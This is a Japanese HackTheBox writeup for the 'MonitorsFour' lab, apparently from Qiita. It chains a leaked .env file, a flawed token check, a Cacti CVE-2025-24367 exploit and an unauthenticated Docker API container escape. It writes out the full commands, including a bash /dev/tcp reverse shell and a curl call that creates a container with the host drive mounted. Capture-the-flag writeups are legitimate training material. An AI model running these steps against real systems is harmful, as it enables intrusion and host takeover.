0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】MonitorsFour:Writeup

0
Posted at

概要

HackTheBox「MonitorsFour」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.129.10.142 -oN nmap_result

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found

ポートの稼働状況が分かりました。

ポート サービス バージョン
80 http nginx
5985 http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

monitorsfour.htb/へアクセスします。

image.png

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.monitorsfour.htb" -u http://monitorsfour.htb -fs 138

cacti                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]

cacti.monitorsfour.htbへアクセスすると、Cactiのログイン画面が表示されました。

image.png

monitorsfour.htbのディレクトリスキャンをします。

$ dirsearch -u http://monitorsfour.htb/

[11:31:49] 200 -   97B  - /.env
[11:32:34] 200 -  367B  - /contact
[11:33:26] 301 -  162B  - /static  ->  http://monitorsfour.htb/static/      
[11:33:35] 200 -   35B  - /user                                             
[11:33:37] 301 -  162B  - /views  ->  http://monitorsfour.htb/views/

/.envを見つけたのでアクセスすると、DBの認証情報を入手できました。

$ cat Untitled.env 
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r

/userにアクセスすると、「tokenパラメータが無い」というエラーが出てきました。

image.png
パラメータの値をファジングで探します。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://monitorsfour.htb/user?token=FUZZ -fw 4

00                      [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 236ms]
0                       [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 765ms]
000000                  [Status: 200, Size: 1113, Words: 10, Lines: 1, Duration: 1752ms]

/user?token=00にアクセスすると、アカウント情報を得られました。

$ curl http://monitorsfour.htb/user?token=00                       
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]

adminアカウントのハッシュ値を解析すると,パスワードがwonderful1だと分かりました。

image.png

adminアカウントでログインに成功しました。

image.png

同様の認証情報だと、Cactiへのログインは失敗しました。

image.png

ユーザーアカウント情報を確認します。
システムアカウントの名前を確認すると、Marcus Higginsになっています。

image.png

試しにmarcus:wonderful1でログインを試みると、認証に成功しました。

image.png

Cacti 1.2.28が使用されており、脆弱性情報を検索するとCVE-2025-24367がヒットしました。

以下リポジトリのPOCを使用します。

Exploit POCを実行します。

$ python3 exploit.py -u marcus -p wonderful1 -i 10.10.14.28 -l 1234 -url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: Q8T5c.php
[+] Got payload: /bash
[i] Created PHP filename: tbBH4.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80

シェルの取得に成功しました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.11.26] 58642
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$

ユーザーフラグを入手できました。

www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
5453a427779ed01f079511952e2cd9db

A.5453a427779ed01f079511952e2cd9db

Root Flag

ホスト名が821fbd6a43faなので、Dockerコンテナ内にいると分かります。

monitorsfour.htbのダッシュボードに戻ります。
ChangeLogを見ると、Docker Desktop 4.44.2が使用されていると分かりました。

image.png

該当バージョンの脆弱性を検索すると、CVE-2025-9074がヒットしました。

エンドポイントのIPアドレスを探します。
/etc/resolv.confの内容から、192.168.65.7の可能性があります。

$ cat /etc/resolv.conf
cat /etc/resolv.conf
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.

nameserver 127.0.0.11
options ndots:0

# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internal

2375ポートがオープンになっているか確認します。

$ echo 1 > /dev/tcp/192.168.65.7/2375 && echo open || echo closed
<v/tcp/192.168.65.7/2375 && echo open || echo closed
open

既存のDockerコンテナを探します。
コンテナイメージにdocker_setup-nginx-phpが使用されていると分かりました。

www-data@821fbd6a43fa:~/html/cacti$ curl -s -X GET "http://192.168.65.7:2375/containers/json"
<s -X GET "http://192.168.65.7:2375/containers/json"
[{"Id":"821fbd6a43fa182c5c884990fe74c22a80c1ec36db6adee758fdfa69bd4675b1","Names":["/web"],"Image":"docker_setup-nginx-php"

コンテナ作成のエンドポイントをたたきます。
イメージにはdocker_setup-nginx-phpを使用します。
実行時のコマンドにリバースシェルのコードを設定します。

www-data@821fbd6a43fa:~/html/cacti$ curl -X POST http://192.168.65.7:2375/containers/create -H "Content-Type: application/json" -d '{"Image":"docker_setup-nginx-php","Cmd":["/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.28/4444 0>&1"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}'
<],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   239    0    88  100   151    358    615 --:--:-- --:--:-- --:--:--   975
{"Id":"35edaa5222ebaa83c15acd8b658586c6a9a2a74ae8ba3e7a28065d2c73f2c612","Warnings":[]}

作成したコンテナIDを指定して起動させます。

www-data@821fbd6a43fa:~/html/cacti$ curl -X POST http://192.168.65.7:2375/containers/35edaa5222ebaa83c15acd8b658586c6a9a2a74ae8ba3e7a28065d2c73f2c612/start
<acd8b658586c6a9a2a74ae8ba3e7a28065d2c73f2c612/start
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0

コンテナ内のルートシェルを取得できました。

$ nc -lnvp 4444                       
listening on [any] 4444 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.11.26] 58645
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@35edaa5222eb:/var/www/html#

マウントを行います。

root@35edaa5222eb:~# cd /mnt
cd /mnt
root@35edaa5222eb:/mnt# mount

C:ドライブをコンテナにマウントできました。

root@35edaa5222eb:/mnt# ls -la /host_root
ls -la /host_root
total 8
drwxr-xr-x 5 root root 4096 Sep 12  2025 .
drwxr-xr-x 1 root root 4096 May 31 06:46 ..
drwxrwxrwx 1 root root 4096 Dec  2 12:02 c
drwxrwxrwt 3 root root   80 May 31 05:14 wsl
drwxrwxrwt 6 root root  240 May 31 05:14 wslg

ルートフラグを入手できました。

root@35edaa5222eb:/host_root/c/Users/Administrator# cat /host_root/c/Users/Administrator/Desktop/root.txt
<t /host_root/c/Users/Administrator/Desktop/root.txt
c7b698a6607584fada8c39bfec98b547

A.c7b698a6607584fada8c39bfec98b547

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?